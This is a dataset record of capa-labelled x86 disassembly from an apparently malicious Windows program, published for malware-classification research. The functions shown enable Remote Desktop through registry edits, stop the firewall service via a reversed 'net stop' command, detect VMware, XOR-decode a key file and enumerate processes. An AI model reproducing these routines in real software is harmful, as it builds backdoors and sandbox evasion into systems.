joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4067d0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x528
mov ecx, 0x100
xor eax, eax
push ebx
push ebp
mov ebp, dword [0x43125c]
push esi
push edi
lea edi, [esp + 0x138]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x138]
push str.Ball_
push eax
call ebp
mov ecx, dword [0x4321e4]
push str.XXXXXX
push ecx
call fcn.00405570
add esp, 0x10
lea edx, [esp + 0x34]
mov ebx, eax
push 0x104
push edx
add ebx, 6
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x42b1f0
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x34]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x34]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 8
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x540]
lea ecx, [esp + 0x14]
push eax
push ecx
call ebp
add esp, 8
lea edx, [esp + 0x34]
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
lea edi, [esp + 0x1c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x20]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x528
ret

Function at 0x406a70
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
push esi
push eax
mov dword [esp + 8], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x14]
sub eax, 2
je 0x406ab3
push 0x42bc08
push str.
call dword [0x43125c]
add esp, 8
mov eax, str.
pop esi
add esp, 0x9c
ret
mov eax, dword [esp + 8]
mov esi, dword [0x43125c]
cmp eax, 4
ja 0x406ad1
push str.Windows_NT
push str.
call esi
add esp, 8
cmp dword [esp + 8], 5
jne 0x406b2d
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x406af8
push str.Windows_2000
push str.
call esi
mov eax, dword [esp + 0x10]
add esp, 8
cmp eax, 5
jne 0x406b2d
cmp dword [esp + 0xc], 1
jne 0x406b17
push str.Windows_XP
push str.
call esi
mov eax, dword [esp + 0x10]
add esp, 8
cmp eax, 5
jne 0x406b2d
cmp dword [esp + 0xc], 2
jne 0x406b43
push str.Windows_2003
push str.
call esi
add esp, 8
cmp dword [esp + 8], 6
jne 0x406b43
push str.Windows_Windows7_Vista_2008
push str.
call esi
add esp, 8
mov eax, str.
pop esi
add esp, 0x9c
ret
Function at 0x4071b0
Capabilities:
Check os version
Hide shutdown actions via policy

Disassembly:
sub esp, 0x94
push edi
push 0x42b9a8
push str.Enabled
push str.SOFTWAREMicrosoftWindowsCurrentVersion_netcache
push SysStringLen
call fcn.004070f0
push 1
push str.EnableAdminTSRemote
push str.SOFTWAREPoliciesMicrosoftWindowsInstaller
push SysStringLen
call fcn.00407150
push 0x42b9a8
push str.ShutdownWithoutLogon
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push SysStringLen
call fcn.004070f0
add esp, 0x30
push 1
push str.delbanEST
call sub.MSVCRT.dll__strrev
add esp, 4
push eax
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
add esp, 0x10
push 2
push str.tratS
call sub.MSVCRT.dll__strrev
add esp, 4
push eax
push str.SYSTEMCurrentControlSetServicesTermDD
push SysStringLen
call fcn.00407150
push 2
push str.Start
push str.SYSTEMCurrentControlSetServicesTermService
push SysStringLen
call fcn.00407150
push 1
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerRDPTcp
push SysStringLen
call fcn.00407150
add esp, 0x40
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push SysStringLen
call fcn.00407150
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwdTds_tcp
push SysStringLen
call fcn.00407150
push 0x42b9c8
push str.Hotkey
push str..DEFAULTKeyboard_LayoutToggle
push SysStringLen
call fcn.004070f0
push 0
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
mov ecx, 0x24
xor eax, eax
lea edi, [esp + 0x48]
mov dword [esp + 0x44], 0x94
add esp, 0x40
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 8]
pop edi
cmp eax, 5
jne 0x407349
mov eax, dword [esp + 8]
test eax, eax
jne 0x407349
push 1
push str.SeShutdownPrivilege
call fcn.00412e80
add esp, 8
push 0
push 2
call dword [0x431244]
push 0
push str.SeShutdownPrivilege
call fcn.00412e80
add esp, 8
add esp, 0x94
ret
Function at 0x407202
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
push edi
push 0x42b9a8
push str.Enabled
push str.SOFTWAREMicrosoftWindowsCurrentVersion_netcache
push SysStringLen
call fcn.004070f0
push 1
push str.EnableAdminTSRemote
push str.SOFTWAREPoliciesMicrosoftWindowsInstaller
push SysStringLen
call fcn.00407150
push 0x42b9a8
push str.ShutdownWithoutLogon
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push SysStringLen
call fcn.004070f0
add esp, 0x30
push 1
push str.delbanEST
call sub.MSVCRT.dll__strrev
add esp, 4
push eax
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
add esp, 0x10
push 2
push str.tratS
call sub.MSVCRT.dll__strrev
add esp, 4
push eax
push str.SYSTEMCurrentControlSetServicesTermDD
push SysStringLen
call fcn.00407150
push 2
push str.Start
push str.SYSTEMCurrentControlSetServicesTermService
push SysStringLen
call fcn.00407150
push 1
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerRDPTcp
push SysStringLen
call fcn.00407150
add esp, 0x40
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWinStationsRDP_Tcp
push SysStringLen
call fcn.00407150
push 0xd3d
push str.PortNumber
push str.SYSTEMCurrentControlSetControlTerminal_ServerWds_rdpwdTds_tcp
push SysStringLen
call fcn.00407150
push 0x42b9c8
push str.Hotkey
push str..DEFAULTKeyboard_LayoutToggle
push SysStringLen
call fcn.004070f0
push 0
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push SysStringLen
call fcn.00407150
mov ecx, 0x24
xor eax, eax
lea edi, [esp + 0x48]
mov dword [esp + 0x44], 0x94
add esp, 0x40
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 8]
pop edi
cmp eax, 5
jne 0x407349
mov eax, dword [esp + 8]
test eax, eax
jne 0x407349
push 1
push str.SeShutdownPrivilege
call fcn.00412e80
add esp, 8
push 0
push 2
call dword [0x431244]
push 0
push str.SeShutdownPrivilege
call fcn.00412e80
add esp, 8
add esp, 0x94
ret

Function at 0x407350
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x104
mov ecx, 0x41
xor eax, eax
lea edx, [esp]
push esi
push edi
lea edi, [esp + 8]
push 0
rep stosd dword es:[edi], eax
mov edi, str.sseccaderahs_pots_ten
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xc]
push ecx
call sub.MSVCRT.dll__strrev
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
add esp, 0x104
ret
Function at 0x407a20
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4262d8
push 0x41b828
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
pushal
pushfd
xor ebx, ebx
mov ecx, 0xa
mov eax, 0x564d5868
mov dx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete al
movzx eax, al
mov dword [0x4316a0], eax
popfd
popal
jmp 0x407a88
mov dword [ebp - 4], 0xffffffff
mov eax, dword [0x4316a0]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x408120
Capabilities:
Create thread

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x4316a8
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x431cd0]
push 0x4316a8
inc ecx
mov dword [0x431cd0], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.00407ff0
add esp, 8
cmp eax, esi
je 0x4082c8
mov ebx, dword [esp + 0x120]
cmp eax, 1
je 0x40820f
cmp eax, 2
je 0x40820f
cmp eax, 3
je 0x40820f
cmp eax, 4
jne 0x408288
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.00407f60
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.004087f0
add esp, 0x1c
test eax, eax
je 0x4082c8
mov edi, str.n_r_n_rKO_002_0.1_PTTH
or ecx, 0xffffffff
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
push ecx
push str.n_r_n_rKO_002_0.1_PTTH
call sub.MSVCRT.dll__strrev
mov edx, dword [ebx]
add esp, 4
push eax
push edx
call dword [0x431340]
jmp 0x408288
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.00408090
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x4082c8
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.00407f60
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.004087f0
add esp, 0x1c
test eax, eax
je 0x4082c8
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebp
push ecx
push edx
call dword [0x431340]
cmp eax, 0xffffffff
je 0x4082c8
cmp dword [ebx], 0
je 0x4082c8
mov eax, dword [ebx + 4]
test eax, eax
je 0x4082c8
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push 0x409130
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x4082b8
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x408d30
Capabilities:
Create thread

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [0x431370]
test eax, eax
jne 0x408e1e
push 6
push 1
push 2
call dword [0x431354]
mov edi, eax
cmp edi, 0xffffffff
je 0x408e1e
mov dx, word [0x43169c]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [0x43135c]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [0x431318]
cmp eax, 0xffffffff
je 0x408e1e
push ebx
push ebp
push esi
push 0x32
push edi
call dword [0x431324]
cmp eax, 0xffffffff
jne 0x408dcc
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
mov ebx, dword [0x431320]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call fcn.0041b5fc
add esp, 4
test eax, eax
je 0x408dd8
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x408a30
push 0
push 0
call ebp
test eax, eax
jne 0x408e15
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x408dd8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x408dd8
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x409fe0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov edi, eax
call fcn.0041ab8e
add esp, 4
mov esi, eax
push esi
push edi
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40a081
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x40a081
mov ebp, dword [esp + 0x14]
lea ebx, [esi + 0x24]
push ebp
call sub.MSVCRT.dll__strupr
add esp, 4
push eax
push ebx
call sub.MSVCRT.dll__strupr
add esp, 4
push eax
call fcn.0041b400
add esp, 8
test eax, eax
jbe 0x40a04b
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
push esi
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40a081
push ebp
call sub.MSVCRT.dll__strupr
add esp, 4
push eax
push ebx
call sub.MSVCRT.dll__strupr
add esp, 4
push eax
call fcn.0041b400
add esp, 8
test eax, eax
ja 0x40a041
push esi
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40a056
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x40a0f0
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9e50]
mov dword [ebx], 0x4262f8
test eax, eax
jbe 0x40a134
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x210]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9e50]
inc edi
add esi, 4
cmp edi, eax
jb 0x40a114
pop esi
pop ebp
mov ecx, ebx
call fcn.0040ad90
pop edi
pop ebx
ret
Function at 0x40aad0
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x18]
xor ebp, ebp
push 0x104
mov dword [esp + 0x14], ecx
push eax
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ecx, dword [0x4321e4]
push str.XXXXXX
push ecx
call fcn.00405570
mov edx, eax
or ecx, 0xffffffff
mov edi, 0x42b1f0
xor eax, eax
add esp, 8
add edx, 6
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebx, [esp + 0x18]
mov esi, edi
mov edi, ebx
mov ebx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea ebx, [esp + 0x18]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x20]
and ecx, 3
push 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..key
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push 1
and ecx, 3
lea eax, [esp + 0x2c]
push 0x80000000
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40ac00
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.0041ab8e
add esp, 4
lea ecx, [esp + 0x14]
mov esi, eax
push ebp
push ecx
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x40abea
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x40abdc
mov ecx, dword [esp + 0x10]
push edi
push esi
call fcn.0040aa70
push esi
mov ebp, eax
call fcn.0041ab9c
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret
Function at 0x40db90
Capabilities:
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x425438
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push esi
mov esi, ecx
push eax
mov dword [esp + 8], esi
call fcn.0040ad40
push str.CServicesManager::CServicesManager
mov dword [esp + 0x14], 0
mov dword [esi], 0x42634c
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, esi
call fcn.0040dc50
mov ecx, dword [esp + 8]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x40f300
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
sub esp, 0x294
push ebx
push ebp
push esi
lea eax, [esp + 0x44]
push edi
push eax
mov byte [esp + 0x48], 0x66
mov byte [esp + 0x118], 0
mov dword [esp + 0x4c], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ebx, dword [esp + 0x2a8]
lea ecx, [esp + 0x1a4]
push 0x100
push ecx
push ebx
call fcn.0040f010
mov ebp, dword [esp + 0x2b8]
xor edx, edx
mov dword [esp + 0x20], edx
add esp, 0xc
mov dword [esp + 0x18], edx
lea eax, [esp + 0x10]
mov dword [esp + 0x1c], edx
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], edx
mov edx, dword [ebp + 0xa8]
push eax
push ecx
push edx
mov dword [esp + 0x1c], 0x10
call dword [0x431314]
mov eax, dword [esp + 0x18]
mov ecx, 8
lea esi, [esp + 0x1a4]
lea edi, [esp + 0xf4]
mov dword [esp + 0xf0], eax
rep movsd dword es:[edi], dword [esi]
call fcn.0040ed30
lea ecx, [esp + 0x180]
mov dword [esp + 0xe4], eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [esp + 0x194]
mov dword [esp + 0xe8], edx
call fcn.0040ed90
mov byte [esp + 0x114], al
mov eax, dword [esp + 0x2b0]
lea ecx, [esp + 0x24]
mov dword [esp + 0x118], eax
push ecx
mov dword [esp + 0x28], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov edx, dword [esp + 0x2c]
shr edx, 0x14
mov dword [esp + 0x11c], edx
call fcn.0040ef40
mov dword [esp + 0xec], eax
mov eax, dword [0x4321e4]
push str.VVVVVV
push eax
call fcn.00405570
add eax, 6
push eax
call fcn.0040e9d0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x12c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.JJJJJJ
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x4321e4]
push ecx
call fcn.00405570
add esp, 0x14
test eax, eax
je 0x40f4b7
mov edx, dword [0x4321e4]
push str.JJJJJJ
push edx
call fcn.00405570
add eax, 6
push eax
call fcn.0040e9d0
mov esi, eax
mov eax, dword [0x4321e4]
push str.NNNNNN
push eax
call fcn.00405570
add eax, 6
push eax
call fcn.0040e9d0
push esi
mov edi, eax
call fcn.004134d0
add esp, 0x1c
lea edx, [esp + 0x160]
test eax, eax
jne 0x40f4c3
mov edi, 0x42c6dc
jmp 0x40f4c3
lea edx, [esp + 0x160]
mov edi, 0x42c6d8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x20
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x144]
push ecx
push ebx
call fcn.0040f1b0
add esp, 0xc
lea edx, [esp + 0x44]
mov ecx, ebp
push 0x13c
push edx
call fcn.00402580
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x294
ret
Function at 0x4109b0
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 2
mov ebx, eax
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x100000
call fcn.0041ab8e
mov esi, eax
mov ecx, 0x40000
mov eax, 0x2e2e2e2e
mov edi, esi
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x18]
add esp, 4
test edi, edi
jle 0x410a22
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea ecx, [esp + 0x14]
push 0
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push ebx
call ebp
dec edi
jne 0x410a0b
pop ebp
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x410b30
Capabilities:
Create thread

Disassembly:
push ebx
push ebp
mov ebp, dword [0x431278]
push esi
push edi
push 0x42c85c
push 0
call dword [0x43126c]
mov ebx, eax
test ebx, ebx
jne 0x410b57
push 8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x410b3a
push 0
push ebx
call dword [0x4311c0]
push 5
push ebx
call ebp
mov esi, eax
test esi, esi
je 0x410b3a
push 0x42c8b0
push 0
push 0
push esi
call dword [0x431274]
mov edi, eax
test edi, edi
jne 0x410b8e
push 2
push esi
call ebp
mov esi, eax
test esi, esi
jne 0x410b6b
jmp 0x410b3a
push 0
push 0
push 0
push 0x410a90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0xf5
push edi
call dword [0x431268]
push 0
push ebx
call dword [0x4311c0]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x410bb3

Function at 0x410eb0
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4263c0
push 0x41b828
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x1c]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x410f50
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x240
push ebx
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x14d]
mov byte [esp + 0x14c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov ecx, 0x49
lea edi, [esp + 0x28]
mov dword [esp + 0x24], 0
push eax
push 2
rep stosd dword es:[edi], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x20], esi
je 0x4110b6
lea eax, [esp + 0x24]
mov dword [esp + 0x24], 0x128
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4110af
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov bl, 0x65
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [esp + 0x2c], eax
jne 0x41108b
mov ecx, dword [esp + 0x3c]
push ecx
push 0
push 0x1f0fff
call ebp
mov esi, eax
test esi, esi
je 0x4110b6
lea edx, [esp + 0x14c]
push 0x104
push edx
push 0
push esi
call fcn.00424ecf
test eax, eax
je 0x4110b6
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x10], bl
mov byte [esp + 0x11], 0x78
mov byte [esp + 0x12], 0x70
mov byte [esp + 0x13], 0x6c
mov byte [esp + 0x14], 0x6f
mov byte [esp + 0x15], 0x72
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], 0x72
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x78
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x14c]
sub edx, ecx
lea edi, [esp + 0x14c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x10]
add edx, ecx
push edx
push eax
call fcn.00424090
add esp, 8
test eax, eax
je 0x41109f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x20]
lea ecx, [esp + 0x24]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4110af
jmp 0x410fc4
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x240
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x240
ret